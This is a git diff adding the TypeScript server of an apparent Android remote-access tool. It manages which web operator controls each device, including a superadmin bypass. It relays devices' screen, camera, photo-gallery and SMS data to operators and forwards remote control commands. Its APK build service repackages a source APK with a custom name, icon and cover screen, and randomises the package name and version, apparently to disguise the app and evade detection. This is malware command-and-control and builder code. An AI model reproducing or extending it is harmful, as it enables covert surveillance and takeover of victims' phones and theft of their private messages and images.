requestTimestamps: Map = new Map() // "clientId:deviceId" -> timestamp + private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间) + + constructor(databaseService?: DatabaseService) { + this.logger = new Logger('WebClientManager') + this.databaseService = databaseService + } + + /** + * ✅ 清理所有客户端记录(服务器重启时调用) + */ + clearAllClients(): void { + const clientCount = this.clients.size + this.clients.clear() + this.socketToClient.clear() + this.deviceControllers.clear() + this.requestTimestamps.clear() + this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`) + } + + /** + * 设置Socket.IO实例 + */ + setSocketIO(io: SocketIOServer): void { + this.io = io + } + + /** + * 添加Web客户端 + */ + addClient(clientInfo: WebClientInfo): void { + // 🔧 检查是否已有相同Socket ID的客户端记录 + const existingClientId = this.socketToClient.get(clientInfo.socketId) + if (existingClientId) { + this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`) + this.removeClient(existingClientId) + } + + this.clients.set(clientInfo.id, clientInfo) + this.socketToClient.set(clientInfo.socketId, clientInfo.id) + this.logger.info(`Web客户端已添加: ${clientInfo.id} from ${clientInfo.ip}`) + } + + /** + * 移除Web客户端 + */ + removeClient(clientId: string): boolean { + const client = this.clients.get(clientId) + if (client) { + this.clients.delete(clientId) + this.socketToClient.delete(client.socketId) + + // 如果客户端正在控制设备,释放控制权 + if (client.controllingDeviceId) { + this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`) + this.releaseDeviceControl(client.controllingDeviceId) + } + + // 清理请求时间戳记录 + const keysToDelete = Array.from(this.requestTimestamps.keys()).filter(key => key.startsWith(clientId + ':')) + keysToDelete.forEach(key => this.requestTimestamps.delete(key)) + + this.logger.info(`Web客户端已移除: ${clientId}`) + return true + } + return false + } + + /** + * 通过Socket ID移除客户端 + */ + removeClientBySocketId(socketId: string): boolean { + const clientId = this.socketToClient.get(socketId) + if (clientId) { + return this.removeClient(clientId) + } + return false + } + + /** + * 获取客户端信息 + */ + getClient(clientId: string): WebClientInfo | undefined { + return this.clients.get(clientId) + } + + /** + * 通过Socket ID获取客户端 + */ + getClientBySocketId(socketId: string): WebClientInfo | undefined { + const clientId = this.socketToClient.get(socketId) + return clientId ? this.clients.get(clientId) : undefined + } + + /** + * 获取所有客户端 + */ + getAllClients(): WebClientInfo[] { + return Array.from(this.clients.values()) + } + + /** + * 获取客户端数量 + */ + getClientCount(): number { + return this.clients.size + } + + /** + * 获取客户端Socket + */ + getClientSocket(clientId: string): Socket | undefined { + const client = this.clients.get(clientId) + if (client && this.io) { + return this.io.sockets.sockets.get(client.socketId) + } + return undefined + } + + /** + * 请求控制设备 + */ + requestDeviceControl(clientId: string, deviceId: string): { + success: boolean + message: string + currentController?: string + } { + // 🔧 防止频繁重复请求 + const requestKey = `${clientId}:${deviceId}` + const now = Date.now() + const lastRequestTime = this.requestTimestamps.get(requestKey) || 0 + + if (now - lastRequestTime < this.REQUEST_COOLDOWN) { + this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`) + return { + success: false, + message: '请求过于频繁,请稍后再试' + } + } + + // 获取客户端信息 + const client = this.clients.get(clientId) + if (!client) { + this.logger.error(`❌ 客户端不存在: ${clientId}`) + return { + success: false, + message: '客户端不存在' + } + } + + // ✅ 优化:先检查是否是重复请求(已经在控制此设备) + const currentController = this.deviceControllers.get(deviceId) + if (currentController === clientId) { + this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`) + client.lastSeen = new Date() + // 更新请求时间戳,但返回成功(避免频繁日志) + this.requestTimestamps.set(requestKey, now) + return { + success: true, + message: '已在控制此设备' + } + } + + // 记录请求时间戳(在检查重复控制后记录) + this.requestTimestamps.set(requestKey, now) + + // 检查设备是否被其他客户端控制 + if (currentController && currentController !== clientId) { + const controllerClient = this.clients.get(currentController) + this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`) + return { + success: false, + message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`, + currentController + } + } + + // 如果客户端已在控制其他设备,先释放 + if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) { + this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`) + this.releaseDeviceControl(client.controllingDeviceId) + } + + // 建立控制关系 + this.deviceControllers.set(deviceId, clientId) + client.controllingDeviceId = deviceId + client.lastSeen = new Date() + + // 🔐 如果客户端有用户ID,将权限持久化到数据库 + if (client.userId && this.databaseService) { + this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control') + this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`) + } + + this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`) + + return { + success: true, + message: '控制权获取成功' + } + } + + /** + * 释放设备控制权 + */ + releaseDeviceControl(deviceId: string): boolean { + const controllerId = this.deviceControllers.get(deviceId) + if (controllerId) { + const client = this.clients.get(controllerId) + if (client) { + const previousDevice = client.controllingDeviceId + client.controllingDeviceId = undefined + this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`) + } else { + this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`) + } + + this.deviceControllers.delete(deviceId) + this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`) + return true + } else { + this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`) + return false + } + } + + /** + * 获取设备控制者 + */ + getDeviceController(deviceId: string): string | undefined { + return this.deviceControllers.get(deviceId) + } + + /** + * 检查客户端是否有设备控制权 + */ + hasDeviceControl(clientId: string, deviceId: string): boolean { + // 🛡️ 记录权限检查审计日志 + this.logPermissionOperation(clientId, deviceId, '权限检查') + + // 🔐 获取客户端信息 + const client = this.clients.get(clientId) + + // 🆕 超级管理员绕过权限检查 + if (client?.username) { + const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin' + if (client.username === superAdminUsername) { + // � 关键修复:superadmin绕过检查时,也必须建立控制关系 + // 否则 getDeviceController() 查不到控制者,routeScreenData 会丢弃所有屏幕数据 + if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) { + this.deviceControllers.set(deviceId, clientId) + client.controllingDeviceId = deviceId + this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`) + } else { + this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`) + } + return true + } + } + + // 🔐 首先检查内存中的控制权 + const memoryControl = this.deviceControllers.get(deviceId) === clientId + if (memoryControl) { + return true + } + + // 🔐 如果内存中没有控制权,检查数据库中的用户权限 + if (client?.userId && this.databaseService) { + const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control') + if (hasPermission) { + // 🔐 如果用户有权限,自动建立控制关系(允许权限恢复) + this.deviceControllers.set(deviceId, clientId) + client.controllingDeviceId = deviceId + this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`) + return true + } + } + + return false + } + + /** + * 向指定客户端发送消息 + */ + sendToClient(clientId: string, event: string, data: any): boolean { + const socket = this.getClientSocket(clientId) + if (socket) { + socket.emit(event, data) + return true + } + return false + } + + /** + * 向所有客户端广播消息 + */ + broadcastToAll(event: string, data: any): void { + if (this.io) { + let activeClients = 0 + // 只向Web客户端广播,且过滤掉已断开的连接 + for (const [socketId, clientId] of this.socketToClient.entries()) { + const socket = this.io.sockets.sockets.get(socketId) + if (socket && socket.connected) { + socket.emit(event, data) + activeClients++ + } + } + this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`) + } + } + + /** + * 向控制指定设备的客户端发送消息 + */ + sendToDeviceController(deviceId: string, event: string, data: any): boolean { + const controllerId = this.deviceControllers.get(deviceId) + if (controllerId) { + return this.sendToClient(controllerId, event, data) + } + return false + } + + /** + * 更新客户端活跃时间 + */ + updateClientActivity(socketId: string): void { + const clientId = this.socketToClient.get(socketId) + if (clientId) { + const client = this.clients.get(clientId) + if (client) { + client.lastSeen = new Date() + } + } + } + + /** + * 清理不活跃的客户端 + */ + cleanupInactiveClients(timeoutMs: number = 600000): void { + const now = Date.now() + const clientsToRemove: string[] = [] + + for (const [clientId, client] of this.clients.entries()) { + if (now - client.lastSeen.getTime() > timeoutMs) { + clientsToRemove.push(clientId) + } + } + + clientsToRemove.forEach(clientId => { + this.removeClient(clientId) + }) + + if (clientsToRemove.length > 0) { + this.logger.info(`已清理 ${clientsToRemove.length} 个不活跃的Web客户端`) + } + } + + /** + * 获取客户端统计信息 + */ + getClientStats(): { + total: number + controlling: number + idle: number + } { + const clients = Array.from(this.clients.values()) + return { + total: clients.length, + controlling: clients.filter(c => c.controllingDeviceId).length, + idle: clients.filter(c => !c.controllingDeviceId).length, + } + } + + /** + * 🔐 恢复用户的设备权限 + */ + restoreUserPermissions(userId: string, clientId: string): void { + if (!this.databaseService) { + this.logger.warn('数据库服务未初始化,无法恢复用户权限') + return + } + + try { + // 获取用户的所有设备权限 + const permissions = this.databaseService.getUserDevicePermissions(userId) + + if (permissions.length > 0) { + this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`) + + // 恢复第一个设备的控制权(优先恢复用户之前的权限) + for (const permission of permissions) { + if (permission.permissionType === 'control') { + // 直接恢复权限,不检查冲突(因为这是用户自己的权限恢复) + this.deviceControllers.set(permission.deviceId, clientId) + const client = this.clients.get(clientId) + if (client) { + client.controllingDeviceId = permission.deviceId + this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`) + break // 只恢复第一个设备 + } + } + } + } + } catch (error) { + this.logger.error('恢复用户权限失败:', error) + } + } + + /** + * 🔐 设置客户端用户信息 + */ + setClientUserInfo(clientId: string, userId: string, username: string): void { + const client = this.clients.get(clientId) + if (client) { + client.userId = userId + client.username = username + this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`) + + // 🛡️ 记录安全审计日志 + this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`) + } + } + + /** + * 🛡️ 记录权限操作审计日志 + */ + private logPermissionOperation(clientId: string, deviceId: string, operation: string): void { + const client = this.clients.get(clientId) + if (client) { + this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`) + } + } +} + +export default WebClientManager \ No newline at end of file diff --git a/src/server.ts b/src/server.ts new file mode 100644 index 0000000..9f3e54f --- /dev/null +++ b/src/server.ts @@ -0,0 +1,320 @@ +import express from 'express'; +import http from 'http'; +import cors from 'cors'; +import { Server } from 'socket.io'; +import DeviceManager from './managers/DeviceManager'; +import WebClientManager from './managers/WebClientManager'; +import { DatabaseService } from './services/DatabaseService'; +import MessageRouter from './services/MessageRouter'; +import Logger from './utils/Logger'; + +const app = express(); +const server = http.createServer(app); +const logger = new Logger('Server'); + +// CORS配置 +app.use(cors({ + origin: "*", + methods: ["GET", "POST"], + credentials: true +})); + +app.use(express.json()); + +// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题 +const io = new Server(server, { + cors: { + origin: "*", + methods: ["GET", "POST"], + credentials: true + }, + // 🔧 心跳机制优化(v4已解决心跳方向问题) + pingInterval: 25000, // 25秒发送一次ping(服务器->客户端) + pingTimeout: 60000, // 60秒等待pong响应 + upgradeTimeout: 30000, // 30秒传输升级超时 + + // 🔧 传输优化 + transports: ['websocket', 'polling'], + allowEIO3: false, // 不支持旧版本协议 + + // 🔧 缓冲区和数据包优化 + maxHttpBufferSize: 10e6, // 10MB缓冲区 + allowUpgrades: true, + + // 🔧 连接管理 + connectTimeout: 45000, // 连接超时 + serveClient: false, // 不提供客户端文件 + + // 🔧 Engine.IO 配置 + cookie: { + name: "io", + httpOnly: true, + sameSite: "strict" + } +}); + +// 管理器初始化 +const databaseService = new DatabaseService(); +const deviceManager = new DeviceManager(); +const webClientManager = new WebClientManager(databaseService); +const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService); + +// 设置Socket.IO实例 +webClientManager.setSocketIO(io); + +// 健康检查端点 +app.get('/health', (req, res) => { + const stats = { + status: 'ok', + timestamp: new Date().toISOString(), + devices: deviceManager.getDeviceCount(), + webClients: webClientManager.getClientCount(), + uptime: process.uptime() + }; + res.json(stats); +}); + + +// Socket.IO连接处理 +io.on('connection', (socket) => { + logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`); + + // 连接质量监控 + const connectionStart = Date.now(); + + // 设备注册事件 + socket.on('device_register', (deviceInfo) => { + logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`); + + const device: any = { + id: deviceInfo.deviceId, + socketId: socket.id, + name: deviceInfo.deviceName, + model: deviceInfo.deviceModel, + osVersion: deviceInfo.osVersion, + appVersion: deviceInfo.appVersion, + screenWidth: deviceInfo.screenWidth, + screenHeight: deviceInfo.screenHeight, + capabilities: deviceInfo.capabilities, + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const + }; + + deviceManager.addDevice(device); + databaseService.saveDevice(deviceInfo, socket.id); + + // 通知所有Web客户端有新设备连接 + const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => { + const socket = io.sockets.sockets.get(client.socketId); + return socket && socket.connected; + }).length; + logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`); + webClientManager.broadcastToAll('device_connected', { + device: deviceManager.getDevice(deviceInfo.deviceId) + }); + + // ui_hierarchy_response监听器已在全局设置,无需重复添加 + }); + + // Web客户端注册事件 + socket.on('web_client_register', (clientInfo) => { + logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`); + + const clientData = { + id: socket.id, + socketId: socket.id, + userAgent: clientInfo.userAgent || 'unknown', + ip: socket.handshake.address || 'unknown', + connectedAt: new Date(), + lastSeen: new Date() + }; + + webClientManager.addClient(clientData); + + // 发送当前设备列表 + const devices = deviceManager.getAllDevices(); + socket.emit('device_list', devices); + }); + + // 屏幕数据路由 + socket.on('screen_data', (data) => { + messageRouter.routeScreenData(socket.id, data); + }); + + // 摄像头数据路由 + socket.on('camera_data', (data) => { + messageRouter.routeCameraData(socket.id, data); + }); + + // 相册图片数据路由 + socket.on('gallery_image', (data) => { + messageRouter.routeGalleryImage(socket.id, data); + }); + + // 短信数据路由 + socket.on('sms_data', (data) => { + messageRouter.routeSmsData(socket.id, data); + }); + + // 控制命令路由 + socket.on('control_command', (message) => { + messageRouter.routeControlMessage(socket.id, message); + }); + + // 摄像头控制命令路由 + socket.on('camera_control', (message) => { + // 将摄像头控制消息转换为标准控制消息格式 + const controlMessage = { + type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH + deviceId: message.deviceId, + data: message.data || {}, + timestamp: Date.now() + }; + messageRouter.routeControlMessage(socket.id, controlMessage); + }); + + // 测试连接监听器 + socket.on('CONNECTION_TEST', (data) => { + logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`); + + // 🔧 修复:回复确认消息给Android端,避免心跳失败累积 + try { + socket.emit('CONNECTION_TEST_RESPONSE', { + success: true, + timestamp: Date.now(), + receivedData: data + }); + logger.debug(`✅ 已回复CONNECTION_TEST确认消息`); + } catch (error) { + logger.error(`❌ 回复CONNECTION_TEST失败:`, error); + } + }); + + // 简单测试事件监听器 + socket.on('SIMPLE_TEST_EVENT', (data) => { + logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`); + }); + + // 调试:UI响应前的测试消息 + socket.on('debug_test_before_ui', (data) => { + logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`); + logger.info(`🧪 测试数据: ${JSON.stringify(data)}`); + }); + + // 简单测试消息监听器 + socket.on('simple_test', (data) => { + logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`); + }); + + // UI层次结构响应 (设备端响应) + socket.on('ui_hierarchy_response', (data) => { + logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`); + logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`); + logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`); + + // ✅ 参考screen_data的处理方式,直接调用专用路由方法 + const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data); + logger.info(`📤 UI层次结构路由结果: ${routeResult}`); + }); + + // 设备控制请求 + socket.on('request_device_control', (data) => { + const result = webClientManager.requestDeviceControl(socket.id, data.deviceId); + socket.emit('device_control_response', { + success: result.success, + message: result.message, + deviceId: data.deviceId + }); + }); + + // 释放设备控制 + socket.on('release_device_control', (data) => { + const released = webClientManager.releaseDeviceControl(data.deviceId); + if (released) { + socket.emit('device_control_released', { deviceId: data.deviceId }); + } + }); + + // 客户端事件路由 + socket.on('client_event', (eventData) => { + logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`); + messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data); + }); + + // 🆕 权限申请响应(设备端响应) + socket.on('permission_response', (data) => { + logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`); + logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`); + + // 路由权限申请响应 + const routeResult = messageRouter.routePermissionResponse(socket.id, data); + logger.info(`📤 权限申请响应路由结果: ${routeResult}`); + }); + + + // 调试:捕获所有未处理的事件 + const originalEmit = socket.emit; + const originalOn = socket.on; + + // 记录所有接收到的事件 + socket.onAny((eventName, ...args) => { + if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) { + logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`); + } + + // 特别关注UI层次结构响应 + if (eventName === 'ui_hierarchy_response') { + logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`); + logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`); + } + }); + + socket.on('disconnect', (reason) => { + const duration = Math.round((Date.now() - connectionStart) / 1000); + const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor'; + + logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`); + + // 更新数据库中的断开连接记录 + databaseService.updateDisconnection(socket.id); + + // 移除设备或Web客户端 + const device = deviceManager.getDeviceBySocketId(socket.id); + if (device) { + logger.info(`📱 设备断开: ${device.name} (${device.id})`); + deviceManager.removeDevice(device.id); + + // 通知所有Web客户端设备已断开 + webClientManager.broadcastToAll('device_disconnected', { + deviceId: device.id + }); + } else { + // 可能是Web客户端断开 + const clientRemoved = webClientManager.removeClientBySocketId(socket.id); + if (clientRemoved) { + logger.info(`🌐 Web客户端断开: ${socket.id}`); + } + } + }); +}); + +// 全局错误处理 +process.on('unhandledRejection', (reason, promise) => { + logger.error('未处理的Promise拒绝:', reason); +}); + +process.on('uncaughtException', (error) => { + logger.error('未捕获的异常:', error); + process.exit(1); +}); + +const PORT = process.env.PORT || 3000; + +server.listen(PORT, () => { + logger.info(`🚀 服务器启动在端口 ${PORT}`); + logger.info(`📊 健康检查: http://localhost:${PORT}/health`); + logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`); +}); + +export default server; \ No newline at end of file diff --git a/src/services/APKBuildService.ts b/src/services/APKBuildService.ts new file mode 100644 index 0000000..ad3014e --- /dev/null +++ b/src/services/APKBuildService.ts @@ -0,0 +1,2405 @@ +import { exec, spawn } from 'child_process' +import { promisify } from 'util' +import path from 'path' +import fs from 'fs' +import Logger from '../utils/Logger' +import CloudflareShareService from './CloudflareShareService' +import { platform } from 'os' + +const execAsync = promisify(exec) + +/** + * APK构建服务 + */ +export default class APKBuildService { + private logger: Logger + private cloudflareService: CloudflareShareService + private isBuilding: boolean = false + private buildProgress: string = '' + private buildStatus: BuildStatus = { + isBuilding: false, + progress: 0, + message: '未开始构建', + success: false + } + // 构建日志记录 + private buildLogs: Array<{ + timestamp: number + level: 'info' | 'warn' | 'error' | 'success' + message: string + }> = [] + private readonly MAX_LOG_ENTRIES = 1000 // 最多保存1000条日志 + + constructor() { + this.logger = new Logger('APKBuildService') + this.cloudflareService = new CloudflareShareService() + } + + /** + * 添加构建日志 + */ + private addBuildLog(level: 'info' | 'warn' | 'error' | 'success', message: string): void { + const logEntry = { + timestamp: Date.now(), + level, + message + } + + this.buildLogs.push(logEntry) + + // 限制日志数量,保留最新的 + if (this.buildLogs.length > this.MAX_LOG_ENTRIES) { + this.buildLogs = this.buildLogs.slice(-this.MAX_LOG_ENTRIES) + } + + // 同时输出到控制台 + switch (level) { + case 'info': + this.logger.info(`[构建日志] ${message}`) + break + case 'warn': + this.logger.warn(`[构建日志] ${message}`) + break + case 'error': + this.logger.error(`[构建日志] ${message}`) + break + case 'success': + this.logger.info(`[构建日志] ✅ ${message}`) + break + } + } + + /** + * 获取构建日志 + */ + getBuildLogs(limit?: number): Array<{ + timestamp: number + level: 'info' | 'warn' | 'error' | 'success' + message: string + timeString: string + }> { + let logs = [...this.buildLogs] + + if (limit && limit > 0) { + logs = logs.slice(-limit) + } + + return logs.map(log => ({ + ...log, + timeString: new Date(log.timestamp).toLocaleString('zh-CN', { + year: 'numeric', + month: '2-digit', + day: '2-digit', + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + hour12: false + }) + })) + } + + /** + * 清空构建日志 + */ + clearBuildLogs(): void { + this.buildLogs = [] + this.addBuildLog('info', '构建日志已清空') + } + + /** + * 检查是否有可用的APK + */ + async checkExistingAPK(enableEncryption?: boolean, encryptionLevel?: string, customFileName?: string): Promise<{ + exists: boolean + path?: string + filename?: string + size?: number + buildTime?: Date + }> { + try { + // 查找 build_output 目录(apktool打包的输出目录) + const buildOutputDir = path.join(process.cwd(), 'android/build_output') + + if (!fs.existsSync(buildOutputDir)) { + return { exists: false } + } + + // 如果指定了自定义文件名,优先查找 + if (customFileName?.trim()) { + const customApkName = `${customFileName.trim()}.apk` + const customApkPath = path.join(buildOutputDir, customApkName) + if (fs.existsSync(customApkPath)) { + const stats = fs.statSync(customApkPath) + this.logger.info(`找到自定义命名的APK文件: ${customApkName}`) + return { + exists: true, + path: customApkPath, + filename: customApkName, + size: stats.size, + buildTime: stats.mtime + } + } + } + + // 查找所有APK文件 + const files = fs.readdirSync(buildOutputDir) + const apkFiles = files.filter(f => f.endsWith('.apk')) + + if (apkFiles.length > 0) { + // 按修改时间排序,返回最新的 + const apkFilesWithStats = apkFiles.map(f => { + const apkPath = path.join(buildOutputDir, f) + return { + filename: f, + path: apkPath, + stats: fs.statSync(apkPath) + } + }).sort((a, b) => b.stats.mtime.getTime() - a.stats.mtime.getTime()) + + const latestApk = apkFilesWithStats[0] + this.logger.info(`找到APK文件: ${latestApk.filename}`) + return { + exists: true, + path: latestApk.path, + filename: latestApk.filename, + size: latestApk.stats.size, + buildTime: latestApk.stats.mtime + } + } + + return { exists: false } + } catch (error) { + this.logger.error('检查APK失败:', error) + return { exists: false } + } + } + + /** + * 构建APK(使用apktool重新打包反编译目录) + */ + async buildAPK(serverUrl: string, options?: { + enableConfigMask?: boolean + enableProgressBar?: boolean + configMaskText?: string + configMaskSubtitle?: string + configMaskStatus?: string + enableEncryption?: boolean + encryptionLevel?: 'basic' | 'standard' | 'enhanced' + webUrl?: string + pageStyleConfig?: { + appName?: string + statusText?: string + enableButtonText?: string + usageInstructions?: string + apkFileName?: string + appIconFile?: { + buffer: Buffer + originalname: string + mimetype: string + } + } + }): Promise { + if (this.buildStatus.isBuilding) { + return { + success: false, + message: '正在构建中,请稍候...' + } + } + + // 使用setImmediate确保异步执行,避免阻塞 + return new Promise((resolve, reject) => { + setImmediate(async () => { + try { + await this._buildAPKInternal(serverUrl, options, resolve, reject) + } catch (error: any) { + this.logger.error('构建APK内部错误:', error) + this.addBuildLog('error', `构建过程发生未捕获的错误: ${error.message}`) + this.addBuildLog('error', `错误堆栈: ${error.stack}`) + this.buildStatus.isBuilding = false + reject(error) + } + }) + }) + } + + /** + * 内部构建方法 + */ + private async _buildAPKInternal( + serverUrl: string, + options: any, + resolve: (result: BuildResult) => void, + reject: (error: any) => void + ): Promise { + try { + // 清空之前的日志,开始新的构建 + this.buildLogs = [] + + // 记录构建开始 + this.addBuildLog('info', '========== 开始构建APK ==========') + this.addBuildLog('info', `服务器地址: ${serverUrl}`) + if (options?.webUrl) { + this.addBuildLog('info', `Web地址: ${options.webUrl}`) + } + this.addBuildLog('info', `配置遮盖: ${options?.enableConfigMask ? '启用' : '禁用'}`) + this.addBuildLog('info', `进度条: ${options?.enableProgressBar ? '启用' : '禁用'}`) + if (options?.pageStyleConfig?.appName) { + this.addBuildLog('info', `应用名称: ${options.pageStyleConfig.appName}`) + } + if (options?.pageStyleConfig?.apkFileName) { + this.addBuildLog('info', `APK文件名: ${options.pageStyleConfig.apkFileName}`) + } + + this.buildStatus = { + isBuilding: true, + progress: 0, + message: '开始构建APK...', + success: false + } + + this.addBuildLog('info', '开始构建APK...') + + // 检查构建环境(只需要Java,不需要Gradle和Android项目) + this.addBuildLog('info', '检查构建环境...') + const envCheck = await this.checkBuildEnvironment() + if (!envCheck.hasJava) { + this.addBuildLog('error', '构建环境检查失败: Java未安装或未在PATH中') + this.buildStatus.isBuilding = false + resolve({ + success: false, + message: '构建环境不完整,请检查 Java 环境' + }) + return + } + this.addBuildLog('success', `Java环境检查通过: ${envCheck.javaVersion || '已安装'}`) + + // 检查apktool和source.apk + const apktoolPath = path.join(process.cwd(), 'android/apktool.jar') + const sourceApkFile = path.join(process.cwd(), 'android/source.apk') + const sourceApkPath = path.join(process.cwd(), 'android/source_apk') + + if (!fs.existsSync(apktoolPath)) { + this.addBuildLog('error', 'apktool不存在: android/apktool.jar') + this.buildStatus.isBuilding = false + resolve({ + success: false, + message: 'apktool 不存在: android/apktool.jar' + }) + return + } + this.addBuildLog('success', 'apktool检查通过') + + if (!fs.existsSync(sourceApkFile)) { + this.addBuildLog('error', 'source.apk文件不存在: android/source.apk') + this.buildStatus.isBuilding = false + resolve({ + success: false, + message: 'source.apk 文件不存在: android/source.apk' + }) + return + } + this.addBuildLog('success', 'source.apk文件检查通过') + + // 清理并反编译source.apk + this.buildStatus.progress = 5 + this.buildStatus.message = '清理并反编译source.apk...' + this.addBuildLog('info', '开始清理并反编译source.apk...') + + // 删除source_apk目录(如果存在) + if (fs.existsSync(sourceApkPath)) { + this.addBuildLog('info', '删除旧的source_apk目录...') + await this.deleteDirectoryWithRetry(sourceApkPath, 3) + this.addBuildLog('success', '旧的source_apk目录已删除') + } + + // 反编译source.apk到source_apk目录 + this.addBuildLog('info', '开始反编译source.apk...') + const decompileResult = await this.decompileAPK(sourceApkFile, sourceApkPath, apktoolPath) + + if (!decompileResult.success) { + this.addBuildLog('error', `反编译失败: ${decompileResult.message}`) + this.buildStatus.isBuilding = false + resolve({ + success: false, + message: `反编译失败: ${decompileResult.message}` + }) + return + } + + this.addBuildLog('success', 'source.apk反编译完成') + + this.buildStatus.progress = 10 + this.buildStatus.message = '更新服务器配置...' + this.addBuildLog('info', '更新服务器配置...') + + // 更新反编译目录中的服务器配置 + await this.writeServerConfigToSourceApk(sourceApkPath, serverUrl, options) + this.addBuildLog('success', '服务器配置更新完成') + + this.buildStatus.progress = 20 + this.buildStatus.message = '处理应用图标...' + + // 处理应用图标(如果有上传) + if (options?.pageStyleConfig?.appIconFile) { + this.addBuildLog('info', '处理应用图标...') + await this.updateAppIconInSourceApk(sourceApkPath, options.pageStyleConfig.appIconFile) + this.addBuildLog('success', '应用图标更新完成') + } else { + this.addBuildLog('info', '未上传应用图标,跳过图标更新') + } + + this.buildStatus.progress = 30 + this.buildStatus.message = '更新应用名称...' + + // 更新应用名称(如果有配置) + if (options?.pageStyleConfig?.appName) { + this.addBuildLog('info', `更新应用名称为: ${options.pageStyleConfig.appName}`) + await this.updateAppNameInSourceApk(sourceApkPath, options.pageStyleConfig.appName) + this.addBuildLog('success', '应用名称更新完成') + } else { + this.addBuildLog('info', '未配置应用名称,跳过名称更新') + } + + this.buildStatus.progress = 40 + this.buildStatus.message = '更新页面样式配置...' + + // 更新页面样式配置 + if (options?.pageStyleConfig) { + this.addBuildLog('info', '更新页面样式配置...') + await this.updatePageStyleConfigInSourceApk(sourceApkPath, options.pageStyleConfig) + this.addBuildLog('success', '页面样式配置更新完成') + } + + this.buildStatus.progress = 45 + this.buildStatus.message = '生成随机包名...' + this.addBuildLog('info', '生成随机包名...') + + // 生成随机包名并修改 + const randomPackageName = this.generateRandomPackageName() + this.addBuildLog('info', `随机包名: ${randomPackageName}`) + await this.changePackageName(sourceApkPath, 'com.hikoncont', randomPackageName) + this.addBuildLog('success', `包名已修改为: ${randomPackageName}`) + + this.buildStatus.progress = 47 + this.buildStatus.message = '生成随机版本号...' + this.addBuildLog('info', '生成随机版本号...') + + // 生成随机版本号并修改 + const randomVersion = this.generateRandomVersion() + this.addBuildLog('info', `随机版本号: versionCode=${randomVersion.versionCode}, versionName=${randomVersion.versionName}`) + await this.changeVersion(sourceApkPath, randomVersion.versionCode, 